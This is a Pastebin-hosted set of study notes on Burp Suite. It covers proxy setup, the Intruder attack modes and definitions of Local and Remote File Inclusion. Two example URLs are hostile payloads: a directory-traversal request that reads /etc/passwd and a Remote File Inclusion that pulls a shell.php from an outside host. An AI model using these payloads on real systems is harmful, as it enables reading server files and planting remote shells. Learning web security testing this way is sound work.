Mukezh

Session Burp Suite

Feb 5th, 2019
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.32 KB | None | 0 0
  1. Burp Suite is a tools that is used to test web application security.
  2.  
  3.  
  4.  
  5. Burp Suite Download Link
  6. https://portswigger.net/burp/communitydownload
  7.  
  8.  
  9. Browser setting ---> proxy settings
  10. 1. In the broser ---> goto settings ---> Options
  11. 2. Goto Proxy ---> settings
  12. 3. Tick Manual Proxy Configuration - Radio Button
  13. 4. I will enter the IP Address and the port number
  14. IP Address --> 127.0.0.1
  15. Port NUmber --> 8080
  16. 5. Tick --> Use proxy for all protocols
  17. 6. No Proxy For ---> localhost, 127.0.0.1 ---> Delete It ---> click on ok
  18. 7. start Burp Suite
  19.  
  20. Modules
  21.  
  22. 1.Proxy -> Allows you to intercept request.
  23. 2.Spider(silindi) -> Travells the web pages.
  24. 3.Repeater-> Lets you repeat the requests
  25. 4.intruder - enables you to attack.
  26. --------------------------------------------------
  27.  
  28. Attack Methods-->
  29.  
  30. * Sniper - This uses a single set of payloads. It targets each payload position in turn, and places each payload into that position in turn. Positions that are not targeted for a given request are not affected - the position markers are removed and any enclosed text that appears between them in the template remains unchanged. This attack type is useful for fuzzing a number of request parameters individually for common vulnerabilities. The total number of requests generated in the attack is the product of the number of positions and the number of payloads in the payload set.
  31.  
  32. * Battering ram - This uses a single set of payloads. It iterates through the payloads, and places the same payload into all of the defined payload positions at once. This attack type is useful where an attack requires the same input to be inserted in multiple places within the request (e.g. a username within a Cookie and a body parameter). The total number of requests generated in the attack is the number of payloads in the payload set.
  33.  
  34. * Pitchfork - This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through all payload sets simultaneously, and places one payload into each defined position. In other words, the first request will place the first payload from payload set 1 into position 1 and the first payload from payload set 2 into position 2; the second request will place the second payload from payload set 1 into position 1 and the second payload from payload set 2 into position 2, etc. This attack type is useful where an attack requires different but related input to be inserted in multiple places within the request (e.g. a username in one parameter, and a known ID number corresponding to that username in another parameter). The total number of requests generated in the attack is the number of payloads in the smallest payload set.
  35.  
  36. * Cluster bomb - This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through each payload set in turn, so that all permutations of payload combinations are tested. I.e., if there are two payload positions, the attack will place the first payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1; it will then place the second payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1. This attack type is useful where an attack requires different and unrelated or unknown input to be inserted in multiple places within the request (e.g. when guessing credentials, a username in one parameter, and a password in another parameter). The total number of requests generated in the attack is the product of the number of payloads in all defined payload sets - this may be extremely large.
  37.  
  38.  
  39. Post Parameter Tampering
  40. It is an attack which occurs when the user or the hacker is able tamper with orignal values of an input paramter and change those values to different values.
  41.  
  42. spider:
  43. Intercept the request with the help of proxy tab first then right click and click on on send to spider option
  44. Local File Inclusion (also known as LFI)
  45. ==========================================
  46. It is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.
  47.  
  48. ex: http://vulnerable_host/preview.php?file=../../../../etc/passwd
  49.  
  50. Remote File Inclusion (also known as RFI)
  51. ============================================
  52. It is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.
  53.  
  54. ex: www.xyz.com/contacts.php?page=http://www.abc.com/shell.php
Add Comment
Please, Sign In to add comment